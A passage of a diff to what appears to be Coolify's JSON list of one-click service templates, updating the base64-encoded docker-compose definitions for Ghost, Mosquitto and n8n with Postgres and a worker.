sOgogICAgaW1hZ2U6ICdteXNxbDo4LjAnCiAgICB2b2x1bWVzOgogICAgICAtICdnaG9zdC1teXNxbC1kYXRhOi92YXIvbGliL215c3FsJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ01ZU1FMX1VTRVI9JHtTRVJWSUNFX1VTRVJfTVlTUUx9JwogICAgICAtICdNWVNRTF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTVlTUUx9JwogICAgICAtICdNWVNRTF9EQVRBQkFTRT0ke01ZU1FMX0RBVEFCQVNFfScKICAgICAgLSAnTVlTUUxfUk9PVF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTVlTUUxST09UfScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBteXNxbGFkbWluCiAgICAgICAgLSBwaW5nCiAgICAgICAgLSAnLWgnCiAgICAgICAgLSAxMjcuMC4wLjEKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=",
+        "compose": "c2VydmljZXM6CiAgZ2hvc3Q6CiAgICBpbWFnZTogJ2dob3N0OjUnCiAgICB2b2x1bWVzOgogICAgICAtICdnaG9zdC1jb250ZW50LWRhdGE6L3Zhci9saWIvZ2hvc3QvY29udGVudCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0dIT1NUXzIzNjgKICAgICAgLSB1cmw9JFNFUlZJQ0VfVVJMX0dIT1NUCiAgICAgIC0gZGF0YWJhc2VfX2NsaWVudD1teXNxbAogICAgICAtIGRhdGFiYXNlX19jb25uZWN0aW9uX19ob3N0PW15c3FsCiAgICAgIC0gZGF0YWJhc2VfX2Nvbm5lY3Rpb25fX3VzZXI9JFNFUlZJQ0VfVVNFUl9NWVNRTAogICAgICAtIGRhdGFiYXNlX19jb25uZWN0aW9uX19wYXNzd29yZD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgICAtICdkYXRhYmFzZV9fY29ubmVjdGlvbl9fZGF0YWJhc2U9JHtNWVNRTF9EQVRBQkFTRS1naG9zdH0nCiAgICAgIC0gbWFpbF9fdHJhbnNwb3J0PVNNVFAKICAgICAgLSAnbWFpbF9fb3B0aW9uc19fYXV0aF9fcGFzcz0ke01BSUxfT1BUSU9OU19BVVRIX1BBU1N9JwogICAgICAtICdtYWlsX19vcHRpb25zX19hdXRoX191c2VyPSR7TUFJTF9PUFRJT05TX0FVVEhfVVNFUn0nCiAgICAgIC0gJ21haWxfX29wdGlvbnNfX3NlY3VyZT0ke01BSUxfT1BUSU9OU19TRUNVUkU6LXRydWV9JwogICAgICAtICdtYWlsX19vcHRpb25zX19wb3J0PSR7TUFJTF9PUFRJT05TX1BPUlQ6LTQ2NX0nCiAgICAgIC0gJ21haWxfX29wdGlvbnNfX3NlcnZpY2U9JHtNQUlMX09QVElPTlNfU0VSVklDRTotTWFpbGd1bn0nCiAgICAgIC0gJ21haWxfX29wdGlvbnNfX2hvc3Q9JHtNQUlMX09QVElPTlNfSE9TVH0nCiAgICBkZXBlbmRzX29uOgogICAgICBteXNxbDoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGVjaG8KICAgICAgICAtIG9rCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBteXNxbDoKICAgIGltYWdlOiAnbXlzcWw6OC4wJwogICAgdm9sdW1lczoKICAgICAgLSAnZ2hvc3QtbXlzcWwtZGF0YTovdmFyL2xpYi9teXNxbCcKICAgIGVudmlyb25tZW50OgogICAgICAtICdNWVNRTF9VU0VSPSR7U0VSVklDRV9VU0VSX01ZU1FMfScKICAgICAgLSAnTVlTUUxfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX01ZU1FMfScKICAgICAgLSAnTVlTUUxfREFUQUJBU0U9JHtNWVNRTF9EQVRBQkFTRX0nCiAgICAgIC0gJ01ZU1FMX1JPT1RfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX01ZU1FMUk9PVH0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gbXlzcWxhZG1pbgogICAgICAgIC0gcGluZwogICAgICAgIC0gJy1oJwogICAgICAgIC0gMTI3LjAuMC4xCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK",
         "tags": [
             "cms",
             "blog",
@@ -2589,7 +2589,7 @@
     "mosquitto": {
         "documentation": "https://mosquitto.org/documentation/?utm_source=coolify.io",
         "slogan": "Mosquitto is lightweight and suitable for use on all devices, from low-power single-board computers to full servers.",
-        "compose": "c2VydmljZXM6CiAgbW9zcXVpdHRvOgogICAgaW1hZ2U6IGVjbGlwc2UtbW9zcXVpdHRvCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9NT1NRVUlUVE9fMTg4MwogICAgICAtICdNUVRUX1VTRVJOQU1FPSR7U0VSVklDRV9VU0VSX01PU1FVSVRUT30nCiAgICAgIC0gJ01RVFRfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX01PU1FVSVRUT30nCiAgICAgIC0gJ1JFUVVJUkVfQ0VSVElGSUNBVEU9JHtSRVFVSVJFX0NFUlRJRklDQVRFOi1mYWxzZX0nCiAgICAgIC0gJ0FMTE9XX0FOT05ZTU9VUz0ke0FMTE9XX0FOT05ZTU9VUzotdHJ1ZX0nCiAgICB2b2x1bWVzOgogICAgICAtICdtb3NxdWl0dG8tY29uZmlnOi9tb3NxdWl0dG8vY29uZmlnJwogICAgICAtICdtb3NxdWl0dG8tY2VydHM6L2NlcnRzJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdleGl0IDAnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudHJ5cG9pbnQ6ICJzaCAtYyBcIiBpZiBbICckUkVRVUlSRV9DRVJUSUZJQ0FURScgPSAndHJ1ZScgXTsgdGhlbiBlY2hvICdsaXN0ZW5lciA4ODgzJyA+IC9tb3NxdWl0dG8vY29uZmlnL21vc3F1aXR0by5jb25mICYmIGVjaG8gJ2NhZmlsZSAvY2VydHMvY2EuY3J0JyA+PiAvbW9zcXVpdHRvL2NvbmZpZy9tb3NxdWl0dG8uY29uZiAmJiBlY2hvICdjZXJ0ZmlsZSAvY2VydHMvc2VydmVyLmNydCcgPj4gL21vc3F1aXR0by9jb25maWcvbW9zcXVpdHRvLmNvbmYgJiYgZWNobyAna2V5ZmlsZSAgL2NlcnRzL3NlcnZlci5rZXknID4+IC9tb3NxdWl0dG8vY29uZmlnL21vc3F1aXR0by5jb25mOyBlbHNlIGVjaG8gJ2xpc3RlbmVyIDE4ODMnID4gL21vc3F1aXR0by9jb25maWcvbW9zcXVpdHRvLmNvbmY7IGZpICYmIGVjaG8gJ3JlcXVpcmVfY2VydGlmaWNhdGUgJyRSRVFVSVJFX0NFUlRJRklDQVRFID4+IC9tb3NxdWl0dG8vY29uZmlnL21vc3F1aXR0by5jb25mICYmIGVjaG8gJ2FsbG93X2Fub255bW91cyAnJEFMTE9XX0FOT05ZTU9VUyA+PiAvbW9zcXVpdHRvL2NvbmZpZy9tb3NxdWl0dG8uY29uZjsgaWYgWyAtbiAnJFNFUlZJQ0VfVVNFUl9NT1NRVUlUVE8nXSAmJiBbIC1uICckU0VSVklDRV9QQVNTV09SRF9NT1NRVUlUVE8nIF07IHRoZW4gZWNobyAncGFzc3dvcmRfZmlsZSAvbW9zcXVpdHRvL2NvbmZpZy9wYXNzd29yZHMnID4+IC9tb3NxdWl0dG8vY29uZmlnL21vc3F1aXR0by5jb25mICYmIHRvdWNoIC9tb3NxdWl0dG8vY29uZmlnL3Bhc3N3b3JkcyAmJiBjaG1vZCAwNzAwIC9tb3NxdWl0dG8vY29uZmlnL3Bhc3N3b3JkcyAmJiBjaG93biByb290OnJvb3QgL21vc3F1aXR0by9jb25maWcvcGFzc3dvcmRzICYmIG1vc3F1aXR0b19wYXNzd2QgLWIgLWMgL21vc3F1aXR0by9jb25maWcvcGFzc3dvcmRzICRTRVJWSUNFX1VTRVJfTU9TUVVJVFRPICRTRVJWSUNFX1BBU1NXT1JEX01PU1FVSVRUTyAmJiBjaG93biBtb3NxdWl0dG86bW9zcXVpdHRvIC9tb3NxdWl0dG8vY29uZmlnL3Bhc3N3b3JkczsgZmkgJiYgZXhlYyBtb3NxdWl0dG8gLWMgL21vc3F1aXR0by9jb25maWcvbW9zcXVpdHRvLmNvbmYgXCIiCiAgICBsYWJlbHM6CiAgICAgIC0gdHJhZWZpay50Y3Aucm91dGVycy5tcXR0LmVudHJ5cG9pbnRzPW1xdHQKICAgICAgLSB0cmFlZmlrLnRjcC5yb3V0ZXJzLm1xdHRzLmVudHJ5cG9pbnRzPW1xdHRzCg==",
+        "compose": "c2VydmljZXM6CiAgbW9zcXVpdHRvOgogICAgaW1hZ2U6IGVjbGlwc2UtbW9zcXVpdHRvCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9NT1NRVUlUVE9fMTg4MwogICAgICAtICdNUVRUX1VTRVJOQU1FPSR7U0VSVklDRV9VU0VSX01PU1FVSVRUT30nCiAgICAgIC0gJ01RVFRfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX01PU1FVSVRUT30nCiAgICAgIC0gJ1JFUVVJUkVfQ0VSVElGSUNBVEU9JHtSRVFVSVJFX0NFUlRJRklDQVRFOi1mYWxzZX0nCiAgICAgIC0gJ0FMTE9XX0FOT05ZTU9VUz0ke0FMTE9XX0FOT05ZTU9VUzotdHJ1ZX0nCiAgICB2b2x1bWVzOgogICAgICAtICdtb3NxdWl0dG8tY29uZmlnOi9tb3NxdWl0dG8vY29uZmlnJwogICAgICAtICdtb3NxdWl0dG8tY2VydHM6L2NlcnRzJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdleGl0IDAnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudHJ5cG9pbnQ6ICJzaCAtYyBcIiBpZiBbICckUkVRVUlSRV9DRVJUSUZJQ0FURScgPSAndHJ1ZScgXTsgdGhlbiBlY2hvICdsaXN0ZW5lciA4ODgzJyA+IC9tb3NxdWl0dG8vY29uZmlnL21vc3F1aXR0by5jb25mICYmIGVjaG8gJ2NhZmlsZSAvY2VydHMvY2EuY3J0JyA+PiAvbW9zcXVpdHRvL2NvbmZpZy9tb3NxdWl0dG8uY29uZiAmJiBlY2hvICdjZXJ0ZmlsZSAvY2VydHMvc2VydmVyLmNydCcgPj4gL21vc3F1aXR0by9jb25maWcvbW9zcXVpdHRvLmNvbmYgJiYgZWNobyAna2V5ZmlsZSAgL2NlcnRzL3NlcnZlci5rZXknID4+IC9tb3NxdWl0dG8vY29uZmlnL21vc3F1aXR0by5jb25mOyBlbHNlIGVjaG8gJ2xpc3RlbmVyIDE4ODMnID4gL21vc3F1aXR0by9jb25maWcvbW9zcXVpdHRvLmNvbmY7IGZpICYmIGVjaG8gJ3JlcXVpcmVfY2VydGlmaWNhdGUgJyRSRVFVSVJFX0NFUlRJRklDQVRFID4+IC9tb3NxdWl0dG8vY29uZmlnL21vc3F1aXR0by5jb25mICYmIGVjaG8gJ2FsbG93X2Fub255bW91cyAnJEFMTE9XX0FOT05ZTU9VUyA+PiAvbW9zcXVpdHRvL2NvbmZpZy9tb3NxdWl0dG8uY29uZjsgaWYgWyAtbiAnJFNFUlZJQ0VfVVNFUl9NT1NRVUlUVE8nIF0gJiYgWyAtbiAnJFNFUlZJQ0VfUEFTU1dPUkRfTU9TUVVJVFRPJyBdOyB0aGVuIGVjaG8gJ3Bhc3N3b3JkX2ZpbGUgL21vc3F1aXR0by9jb25maWcvcGFzc3dvcmRzJyA+PiAvbW9zcXVpdHRvL2NvbmZpZy9tb3NxdWl0dG8uY29uZiAmJiB0b3VjaCAvbW9zcXVpdHRvL2NvbmZpZy9wYXNzd29yZHMgJiYgY2htb2QgMDcwMCAvbW9zcXVpdHRvL2NvbmZpZy9wYXNzd29yZHMgJiYgY2hvd24gcm9vdDpyb290IC9tb3NxdWl0dG8vY29uZmlnL3Bhc3N3b3JkcyAmJiBtb3NxdWl0dG9fcGFzc3dkIC1iIC1jIC9tb3NxdWl0dG8vY29uZmlnL3Bhc3N3b3JkcyAkU0VSVklDRV9VU0VSX01PU1FVSVRUTyAkU0VSVklDRV9QQVNTV09SRF9NT1NRVUlUVE8gJiYgY2hvd24gbW9zcXVpdHRvOm1vc3F1aXR0byAvbW9zcXVpdHRvL2NvbmZpZy9wYXNzd29yZHM7IGZpICYmIGV4ZWMgbW9zcXVpdHRvIC1jIC9tb3NxdWl0dG8vY29uZmlnL21vc3F1aXR0by5jb25mIFwiIgogICAgbGFiZWxzOgogICAgICAtIHRyYWVmaWsudGNwLnJvdXRlcnMubXF0dC5lbnRyeXBvaW50cz1tcXR0CiAgICAgIC0gdHJhZWZpay50Y3Aucm91dGVycy5tcXR0cy5lbnRyeXBvaW50cz1tcXR0cwo=",
         "tags": [
             "mosquitto",
             "mqtt",
@@ -2603,7 +2603,7 @@
     "n8n-with-postgres-and-worker": {
         "documentation": "https://n8n.io?utm_source=coolify.io",
         "slogan": "n8n is an extendable workflow automation tool with queue mode and workers.",
-        "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICdkb2NrZXIubjhuLmlvL244bmlvL244bjoxLjExNC40JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfTjhOXzU2NzgKICAgICAgLSAnTjhOX0VESVRPUl9CQVNFX1VSTD0ke1NFUlZJQ0VfVVJMX044Tn0nCiAgICAgIC0gJ1dFQkhPT0tfVVJMPSR7U0VSVklDRV9VUkxfTjhOfScKICAgICAgLSAnTjhOX0hPU1Q9JHtTRVJWSUNFX1VSTF9OOE59JwogICAgICAtICdHRU5FUklDX1RJTUVaT05FPSR7R0VORVJJQ19USU1FWk9ORTotRXVyb3BlL0Jlcmxpbn0nCiAgICAgIC0gJ1RaPSR7VFo6LUV1cm9wZS9CZXJsaW59JwogICAgICAtIERCX1RZUEU9cG9zdGdyZXNkYgogICAgICAtICdEQl9QT1NUR1JFU0RCX0RBVEFCQVNFPSR7UE9TVEdSRVNfREI6LW44bn0nCiAgICAgIC0gREJfUE9TVEdSRVNEQl9IT1NUPXBvc3RncmVzcWwKICAgICAgLSBEQl9QT1NUR1JFU0RCX1BPUlQ9NTQzMgogICAgICAtIERCX1BPU1RHUkVTREJfVVNFUj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gREJfUE9TVEdSRVNEQl9TQ0hFTUE9cHVibGljCiAgICAgIC0gREJfUE9TVEdSRVNEQl9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtIEVYRUNVVElPTlNfTU9ERT1xdWV1ZQogICAgICAtIFFVRVVFX0JVTExfUkVESVNfSE9TVD1yZWRpcwogICAgICAtIFFVRVVFX0hFQUxUSF9DSEVDS19BQ1RJVkU9dHJ1ZQogICAgICAtICdOOE5fRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX0VOQ1JZUFRJT059JwogICAgICAtIE44Tl9SVU5ORVJTX0VOQUJMRUQ9dHJ1ZQogICAgICAtIE9GRkxPQURfTUFOVUFMX0VYRUNVVElPTlNfVE9fV09SS0VSUz10cnVlCiAgICAgIC0gJ044Tl9CTE9DS19FTlZfQUNDRVNTX0lOX05PREU9JHtOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFOi10cnVlfScKICAgICAgLSAnTjhOX0dJVF9OT0RFX0RJU0FCTEVfQkFSRV9SRVBPUz0ke044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M6LXRydWV9JwogICAgICAtICdOOE5fRU5GT1JDRV9TRVRUSU5HU19GSUxFX1BFUk1JU1NJT05TPSR7TjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUzotdHJ1ZX0nCiAgICAgIC0gJ044Tl9QUk9YWV9IT1BTPSR7TjhOX1BST1hZX0hPUFM6LTF9JwogICAgdm9sdW1lczoKICAgICAgLSAnbjhuLWRhdGE6L2hvbWUvbm9kZS8ubjhuJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXNxbDoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo1Njc4LycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIG44bi13b3JrZXI6CiAgICBpbWFnZTogJ2RvY2tlci5uOG4uaW8vbjhuaW8vbjhuOjEuMTE0LjQnCiAgICBjb21tYW5kOiB3b3JrZXIKICAgIGVudmlyb25tZW50OgogICAgICAtICdHRU5FUklDX1RJTUVaT05FPSR7R0VORVJJQ19USU1FWk9ORTotRXVyb3BlL0Jlcmxpbn0nCiAgICAgIC0gJ1RaPSR7VFo6LUV1cm9wZS9CZXJsaW59JwogICAgICAtIERCX1RZUEU9cG9zdGdyZXNkYgogICAgICAtICdEQl9QT1NUR1JFU0RCX0RBVEFCQVNFPSR7UE9TVEdSRVNfREI6LW44bn0nCiAgICAgIC0gREJfUE9TVEdSRVNEQl9IT1NUPXBvc3RncmVzcWwKICAgICAgLSBEQl9QT1NUR1JFU0RCX1BPUlQ9NTQzMgogICAgICAtIERCX1BPU1RHUkVTREJfVVNFUj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gREJfUE9TVEdSRVNEQl9TQ0hFTUE9cHVibGljCiAgICAgIC0gREJfUE9TVEdSRVNEQl9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtIEVYRUNVVElPTlNfTU9ERT1xdWV1ZQogICAgICAtIFFVRVVFX0JVTExfUkVESVNfSE9TVD1yZWRpcwogICAgICAtIFFVRVVFX0hFQUxUSF9DSEVDS19BQ1RJVkU9dHJ1ZQogICAgICAtICdOOE5fRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX0VOQ1JZUFRJT059JwogICAgICAtIE44Tl9SVU5ORVJTX0VOQUJMRUQ9dHJ1ZQogICAgICAtICdOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFPSR7TjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERTotdHJ1ZX0nCiAgICAgIC0gJ044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M9JHtOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TOi10cnVlfScKICAgICAgLSAnTjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUz0ke044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM6LXRydWV9JwogICAgICAtICdOOE5fUFJPWFlfSE9QUz0ke044Tl9QUk9YWV9IT1BTOi0xfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ244bi1kYXRhOi9ob21lL25vZGUvLm44bicKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY3OC9oZWFsdGh6JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBuOG46CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcG9zdGdyZXNxbDoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIHBvc3RncmVzcWw6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3Bvc3RncmVzcWwtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQT1NUR1JFU19VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBQT1NUR1JFU19QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1uOG59JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo2LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JlZGlzLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAo=",
+        "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICdkb2NrZXIubjhuLmlvL244bmlvL244bjoxLjExOS4yJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfTjhOXzU2NzgKICAgICAgLSAnTjhOX0VESVRPUl9CQVNFX1VSTD0ke1NFUlZJQ0VfVVJMX044Tn0nCiAgICAgIC0gJ1dFQkhPT0tfVVJMPSR7U0VSVklDRV9VUkxfTjhOfScKICAgICAgLSAnTjhOX0hPU1Q9JHtTRVJWSUNFX1VSTF9OOE59JwogICAgICAtICdHRU5FUklDX1RJTUVaT05FPSR7R0VORVJJQ19USU1FWk9ORTotRXVyb3BlL0Jlcmxpbn0nCiAgICAgIC0gJ1RaPSR7VFo6LUV1cm9wZS9CZXJsaW59JwogICAgICAtIERCX1RZUEU9cG9zdGdyZXNkYgogICAgICAtICdEQl9QT1NUR1JFU0RCX0RBVEFCQVNFPSR7UE9TVEdSRVNfREI6LW44bn0nCiAgICAgIC0gREJfUE9TVEdSRVNEQl9IT1NUPXBvc3RncmVzcWwKICAgICAgLSBEQl9QT1NUR1JFU0RCX1BPUlQ9NTQzMgogICAgICAtIERCX1BPU1RHUkVTREJfVVNFUj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gREJfUE9TVEdSRVNEQl9TQ0hFTUE9cHVibGljCiAgICAgIC0gREJfUE9TVEdSRVNEQl9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtIEVYRUNVVElPTlNfTU9ERT1xdWV1ZQogICAgICAtIFFVRVVFX0JVTExfUkVESVNfSE9TVD1yZWRpcwogICAgICAtIFFVRVVFX0hFQUxUSF9DSEVDS19BQ1RJVkU9dHJ1ZQogICAgICAtICdOOE5fRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX0VOQ1JZUFRJT059JwogICAgICAtIE44Tl9SVU5ORVJTX0VOQUJMRUQ9dHJ1ZQogICAgICAtIE9GRkxPQURfTUFOVUFMX0VYRUNVVElPTlNfVE9fV09SS0VSUz10cnVlCiAgICAgIC0gJ044Tl9CTE9DS19FTlZfQUNDRVNTX0lOX05PREU9JHtOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFOi10cnVlfScKICAgICAgLSAnTjhOX0dJVF9OT0RFX0RJU0FCTEVfQkFSRV9SRVBPUz0ke044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M6LXRydWV9JwogICAgICAtICdOOE5fRU5GT1JDRV9TRVRUSU5HU19GSUxFX1BFUk1JU1NJT05TPSR7TjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUzotdHJ1ZX0nCiAgICAgIC0gJ044Tl9QUk9YWV9IT1BTPSR7TjhOX1BST1hZX0hPUFM6LTF9JwogICAgdm9sdW1lczoKICAgICAgLSAnbjhuLWRhdGE6L2hvbWUvbm9kZS8ubjhuJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXNxbDoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo1Njc4LycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIG44bi13b3JrZXI6CiAgICBpbWFnZTogJ2RvY2tlci5uOG4uaW8vbjhuaW8vbjhuOjEuMTE5LjInCiAgICBjb21tYW5kOiB3b3JrZXIKICAgIGVudmlyb25tZW50OgogICAgICAtICdHRU5FUklDX1RJTUVaT05FPSR7R0VORVJJQ19USU1FWk9ORTotRXVyb3BlL0Jlcmxpbn0nCiAgICAgIC0gJ1RaPSR7VFo6LUV1cm9wZS9CZXJsaW59JwogICAgICAtIERCX1RZUEU9cG9zdGdyZXNkYgogICAgICAtICdEQl9QT1NUR1JFU0RCX0RBVEFCQVNFPSR7UE9TVEdSRVNfREI6LW44bn0nCiAgICAgIC0gREJfUE9TVEdSRVNEQl9IT1NUPXBvc3RncmVzcWwKICAgICAgLSBEQl9QT1NUR1JFU0RCX1BPUlQ9NTQzMgogICAgICAtIERCX1BPU1RHUkVTREJfVVNFUj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gREJfUE9TVEdSRVNEQl9TQ0hFTUE9cHVibGljCiAgICAgIC0gREJfUE9TVEdSRVNEQl9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtIEVYRUNVVElPTlNfTU9ERT1xdWV1ZQogICAgICAtIFFVRVVFX0JVTExfUkVESVNfSE9TVD1yZWRpcwogICAgICAtIFFVRVVFX0hFQUxUSF9DSEVDS19BQ1RJVkU9dHJ1ZQogICAgICAtICdOOE5fRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX0VOQ1JZUFRJT059JwogICAgICAtIE44Tl9SVU5ORVJTX0VOQUJMRUQ9dHJ1ZQogICAgICAtICdOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFPSR7TjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERTotdHJ1ZX0nCiAgICAgIC0gJ044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M9JHtOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TOi10cnVlfScKICAgICAgLSAnTjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUz0ke044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM6LXRydWV9JwogICAgICAtICdOOE5fUFJPWFlfSE9QUz0ke044Tl9QUk9YWV9IT1BTOi0xfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ244bi1kYXRhOi9ob21lL25vZGUvLm44bicKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY3OC9oZWFsdGh6JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBuOG46CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcG9zdGdyZXNxbDoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIHBvc3RncmVzcWw6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3Bvc3RncmVzcWwtZGF0YTovdmFyL2xpYi